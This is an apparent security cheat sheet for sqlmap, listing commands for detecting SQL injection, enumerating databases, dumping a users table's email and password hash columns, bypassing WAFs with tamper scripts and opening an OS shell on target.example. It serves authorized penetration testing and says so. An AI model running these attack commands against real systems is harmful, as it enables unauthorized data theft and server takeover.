CyberCheatsheets

sqlmap Cheat Sheet

Automated SQL injection detection and exploitation for web parameters, headers, and cookies.

Web Application SecuritydatabaseinjectionsqliUpdated 2026-06-02

Overview

sqlmap automates finding and exploiting SQL injection in HTTP parameters, cookies, headers, and POST bodies. Use after Burp/ZAP or manual testing shows suspicious behavior, or to confirm/time-box injection on authorized targets.

Authorized testing only. Use only on systems, networks, and accounts you own or have explicit written permission to test. Unauthorized access is illegal.

Install

sudo apt update && sudo apt install -y sqlmap

or

pip install sqlmap
git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git

Essential commands

Single URL parameter

sqlmap -u "https://target.example/item?id=1" --batch

POST body from Burp request file

sqlmap -r request.txt --batch

Cookie-authenticated session

sqlmap -u "https://target.example/dashboard" --cookie="PHPSESSID=abc123" --batch

Enumerate DBMS and current user

sqlmap -u "https://target.example/item?id=1" --current-user --current-db --batch

Quick one-liners

Test a URL parameter for SQL injection

sqlmap -u "https://target.example/item?id=1" --batch

Run sqlmap from a Burp saved request

sqlmap -r request.txt --batch

List databases after injection is found

sqlmap -u "https://target.example/item?id=1" --dbs --batch

Get current DB user and database name

sqlmap -u "https://target.example/item?id=1" --current-user --current-db --batch

Route traffic through Burp proxy

sqlmap -r request.txt --proxy=http://127.0.0.1:8080 --batch

Common workflows

Confirm injection and enumerate databases —

sqlmap -u "https://target.example/search?q=test" --batch --level=3 --risk=2
sqlmap -u "https://target.example/search?q=test" --dbs --batch
sqlmap -u "https://target.example/search?q=test" -D appdb --tables --batch
sqlmap -u "https://target.example/search?q=test" -D appdb -T users --columns --batch
sqlmap -u "https://target.example/search?q=test" -D appdb -T users -C email,password_hash --dump --batch

Save raw HTTP request to request.txt (right-click in Burp → Copy to file)

sqlmap -r request.txt -p id --batch --level=3
sqlmap -r request.txt --dbs --batch

WAF bypass and tamper scripts —

sqlmap -u "https://target.example/item?id=1" --tamper=space2comment,between --random-agent --batch
sqlmap -r request.txt --proxy=http://127.0.0.1:8080 --batch

OS shell (only when in scope and MSSQL/MySQL with stacked queries) —

sqlmap -u "https://target.example/item?id=1" --os-shell --batch
sqlmap -u "https://target.example/item?id=1" --os-pwn --batch

Flags reference

-u URL

Target URL

-r FILE

Load HTTP request from file

-p PARAM

Test specific parameter(s)

--data

POST data string

--cookie

Cookie header value

--header

Extra HTTP header

--level=1-5

Test depth (default 1)

--risk=1-3

Payload risk (default 1)

--batch

Non-interactive defaults

--dbs

List databases

-D DB

Database name

--tables

List tables

-T TABLE

Table name

--columns

List columns

-C COL

Column name(s)

--dump

Dump table data

--tamper=SCRIPT

Payload tamper script(s)

--proxy

HTTP/S proxy (e.g. Burp)

--random-agent

Random User-Agent

--threads=N

Concurrent HTTP requests

--os-shell

Interactive OS shell

--technique=BEUSTQ

Injection techniques to use

Tips

  • Start with --batch --level=1 --risk=1; increase level/risk only when needed to reduce noise and false positives.
  • Always test through Burp (--proxy=http://127.0.0.1:8080) to verify requests and stay in scope.
  • Use -r request.txt for authenticated or complex multi-parameter requests.
  • --dump can be large and sensitive; restrict to agreed tables/columns with -C.

References

Chuletas relacionadas